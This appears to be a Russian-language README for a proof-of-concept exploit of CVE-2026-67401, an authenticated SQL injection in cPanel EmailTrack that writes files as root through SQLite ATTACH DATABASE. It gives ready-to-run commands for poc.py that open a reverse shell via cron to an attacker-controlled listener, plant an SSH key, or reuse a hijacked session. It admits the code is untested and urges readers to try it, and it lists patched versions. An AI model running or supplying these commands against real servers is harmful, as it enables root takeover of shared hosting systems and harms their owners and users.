CVE-2026-67401

SQL-инъекция в cPanel EmailTrack. Аутентифицированный пользователь cPanel с почтовыми привилегиями записывает произвольные файлы от имени root через SQLite ATTACH DATABASE. Один запрос до root. Не тестировалось на реальной цели, код собран только из публичной информации и базового сравнения (diff'ing). Проведите должную проверку как исследователь, попробуйте и отправьте PR с исправлениями.

Затрагивает все сборки cPanel/WHM до патча от 8 сентября 2026 года.

Что должно быть

• Действительная учётная запись cPanel с почтовыми привилегиями на целевом сервере
• Python 3, библиотека requests
• Слушатель (listener), если используется полезная нагрузка reverse shell

Как использовать

# Reverse shell через cron
python3 poc.py --target https://host:2083 -u user -p pass --lhost 10.0.0.1 --lport 443

# Добавление SSH-ключа
python3 poc.py --target https://host:2083 -u user -p pass --ssh-key ~/.ssh/id_rsa.pub

# Существующая сессия
python3 poc.py --target https://host:2083 --cookie abc --token cpsessXXX --lhost 10.0.0.1

# Пробный запуск (вывести запрос, не отправлять)
python3 poc.py --target https://host:2083 --dry-run --lhost 10.0.0.1

ИСПРАВЛЕНИЯ

• 11.138.0.4 (CURRENT/EDGE)
• 11.136.0.39 (RELEASE/STABLE)
• 11.134.0.55 (LTS)